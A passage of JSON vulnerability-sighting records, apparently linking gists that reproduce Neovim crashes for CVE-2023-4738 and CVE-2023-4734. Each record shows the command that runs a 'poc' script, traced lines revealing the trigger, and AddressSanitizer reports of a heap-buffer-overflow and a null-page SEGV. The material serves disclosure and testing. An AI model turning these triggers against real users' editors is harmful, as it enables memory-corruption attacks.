"8bf6d2fa-c4f1-44ca-8ac1-8f1a834c14e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4738", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/ebb148dcc15cb4185e6157b43b76544a", "content": "Command:\n./nvim-0.9.5 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func! R()\n\nline 5: call setline(1, [repeat('a',5).'Z', repeat('0',60)])\n\nline 6: new\n\nline 6: unlet! b:keymap_name\n\nline 7: wincmd p\n\nline 8: silent! 1s/Z\\n0*/\\=R()/\n=================================================================\n==34842==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b000000d04 at pc 0x0000004cc7ee bp 0x7ffdf49c64b0 sp 0x7ffdf49c5c70\nWRITE of size 101 at 0x60b000000d04 thread T0\n    #0 0x4cc7ed in strcpy (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4cc7ed)\n    #1 0x9a0a88 in vim_regsub_both /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1759:9\n    #2 0x9a2102 in vim_regsub_multi /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1696:16\n    #3 0x73d595 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3945:17\n    #4 0x73a10c in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4673:9\n    #5 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #6 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #7 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #8 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #9 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #10 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #11 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #12 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #13 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #14 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #15 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #16 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #17 0x7fa3ced06082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #18 0x467f6d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x467f6d)\n\n0x60b000000d04 is located 0 bytes to the right of 100-byte region [0x60b000000ca0,0x60b000000d04)\nallocated by thread T0 here:\n    #0 0x4e06ad in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e06ad)\n    #1 0x8a067a in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:88:15\n    #2 0x8a07a8 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:15\n    #3 0x740268 in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3168:18\n    #4 0x73d4ed in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3931:21\n    #5 0x73a10c in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4673:9\n    #6 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #7 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #8 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #9 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #10 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #11 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #12 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #13 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #14 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #15 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #16 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #17 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #18 0x7fa3ced06082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4cc7ed) in strcpy\nShadow bytes around the buggy address:\n  0x0c167fff8150: fa fa fd fd fd fd fd fd fd fd fd fd fd fd fd fa\n  0x0c167fff8160: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00\n  0x0c167fff8170: 00 00 00 00 05 fa fa fa fa fa fa fa fa fa fd fd\n  0x0c167fff8180: fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa\n  0x0c167fff8190: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x0c167fff81a0:[04]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==34842==ABORTING\n\n\nCommand:\n./nvim-0.6.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func! R()\n\nline 5: call setline(1, [repeat('a',5).'Z', repeat('0',60)])\n\nline 6: new\n\nline 6: unlet! b:keymap_name\n\nline 7: wincmd p\n\nline 8: silent! 1s/Z\\n0*/\\=R()/\n=================================================================\n==34935==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b000000db4 at pc 0x0000004c27ce bp 0x7ffebca70030 sp 0x7ffebca6f7f0\nWRITE of size 101 at 0x60b000000db4 thread T0\n    #0 0x4c27cd in strcpy (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x4c27cd)\n    #1 0xd36dae in vim_regsub_both /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:6709:9\n    #2 0xd395ca in vim_regsub_multi /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:6662:16\n    #3 0x8cb9fe in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4098:17\n    #4 0x8c4c80 in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6016:11\n    #5 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #6 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #7 0x8e89fc in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #8 0x8e56d2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #9 0x8e5cb0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #10 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #11 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #12 0x8f7933 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #13 0xabf9ae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #14 0xab7f96 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #15 0x7f60d5742082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #16 0x45df4d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x45df4d)\n\n0x60b000000db4 is located 0 bytes to the right of 100-byte region [0x60b000000d50,0x60b000000db4)\nallocated by thread T0 here:\n    #0 0x4d668d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x4d668d)\n    #1 0xb5ef62 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:74:15\n    #2 0xb5f124 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:108:15\n    #3 0x8d31ad in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3346:18\n    #4 0x8cb7b4 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4085:21\n    #5 0x8c4c80 in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6016:11\n    #6 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #7 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #8 0x8e89fc in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #9 0x8e56d2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #10 0x8e5cb0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #11 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #12 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #13 0x8f7933 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #14 0xabf9ae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #15 0xab7f96 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #16 0x7f60d5742082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x4c27cd) in strcpy\nShadow bytes around the buggy address:\n  0x0c167fff8160: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd\n  0x0c167fff8170: fd fd fd fd fd fa fa fa fa fa fa fa fa fa 00 00\n  0x0c167fff8180: 00 00 00 00 00 00 00 00 00 00 05 fa fa fa fa fa\n  0x0c167fff8190: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c167fff81a0: fd fa fa fa fa fa fa fa fa fa 00 00 00 00 00 00\n=>0x0c167fff81b0: 00 00 00 00 00 00[04]fa fa fa fa fa fa fa fa fa\n  0x0c167fff81c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff8200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==34935==ABORTING\n\n\nCommand:\n./nvim-0.3.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nline 0: so poc\n\nline 0: sourcing \"poc\"\nline 1: func! R()\n\nline 5: call setline(1, [repeat('a',5).'Z', repeat('0',60)])\n\nline 6: new\n\nline 6: unlet! b:keymap_name\n\nline 7: wincmd p\n\nline 8: silent! 1s/Z\\n0*/\\=R()/\n=================================================================\n==34975==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b000000e64 at pc 0x0000004b35de bp 0x7ffd4e634490 sp 0x7ffd4e633c50\nWRITE of size 101 at 0x60b000000e64 thread T0\n    #0 0x4b35dd in strcpy (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4b35dd)\n    #1 0xb8aac3 in vim_regsub_both /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:6618:9\n    #2 0xb8d167 in vim_regsub_multi /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:6575:16\n    #3 0x7b951d in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3811:17\n    #4 0x7b2dcc in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6273:11\n    #5 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #6 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #7 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #8 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #9 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #10 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #11 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #12 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #13 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #14 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #15 0x7fd795e41082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #16 0x44ed5d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x44ed5d)\n\n0x60b000000e64 is located 0 bytes to the right of 100-byte region [0x60b000000e00,0x60b000000e64)\nallocated by thread T0 here:\n    #0 0x4c749d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c749d)\n    #1 0x9db0d2 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:87:15\n    #2 0x9db2a4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:121:15\n    #3 0x7c017d in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3085:18\n    #4 0x7b9314 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3799:21\n    #5 0x7b2dcc in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6273:11\n    #6 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #7 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #8 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #9 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #10 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #11 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #12 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #13 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #14 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #15 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #16 0x7fd795e41082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4b35dd) in strcpy\nShadow bytes around the buggy address:\n  0x0c167fff8170: fd fd fd fd fd fa fa fa fa fa fa fa fa fa fd fd\n  0x0c167fff8180: fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa\n  0x0c167fff8190: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c167fff81a0: 05 fa fa fa fa fa fa fa fa fa fd fd fd fd fd fd\n  0x0c167fff81b0: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa\n=>0x0c167fff81c0: 00 00 00 00 00 00 00 00 00 00 00 00[04]fa fa fa\n  0x0c167fff81d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff8200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff8210: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==34975==ABORTING", "creation_timestamp": "2026-09-06T13:36:04.016280Z"}, {"uuid": "2feb503d-27b2-4c67-ab67-35682c711be3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4734", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/4c3c9b99ec5cc9e701c0592bea7ffb79", "content": "Command:\n./nvim-0.9.5 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func Test_fullcommand()\n\nline 4: \n\nline 5: call Test_fullcommand()\n\ncalling Test_fullcommand()\n\nline 1:   call assert_equal('', fullcommand(10))\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==36162==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000000a (pc 0x000000757506 bp 0x7ffd2c4c95e0 sp 0x7ffd2c4c9420 T0)\n==36162==The signal is caused by a READ memory access.\n==36162==Hint: address points to the zero page.\n    #0 0x757506 in f_fullcommand /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:3126:16\n    #1 0x6c4da2 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:242:3\n    #2 0x705869 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1622:15\n    #3 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n    #4 0x6a592d in eval_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2193:13\n    #5 0x6a22c8 in eval7 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3000:15\n    #6 0x6a1490 in eval6 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2742:7\n    #7 0x6a0a43 in eval5 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2597:7\n    #8 0x6a041f in eval4 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2467:7\n    #9 0x69ffb6 in eval3 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2399:7\n    #10 0x68a23b in eval2 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2342:7\n    #11 0x685970 in eval1 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2280:7\n    #12 0x704bce in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:466:9\n    #13 0x71220e in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3074:9\n    #14 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #15 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #16 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #17 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n    #18 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n    #19 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n    #20 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n    #21 0x71220e in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3074:9\n    #22 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #23 0x74be9c in 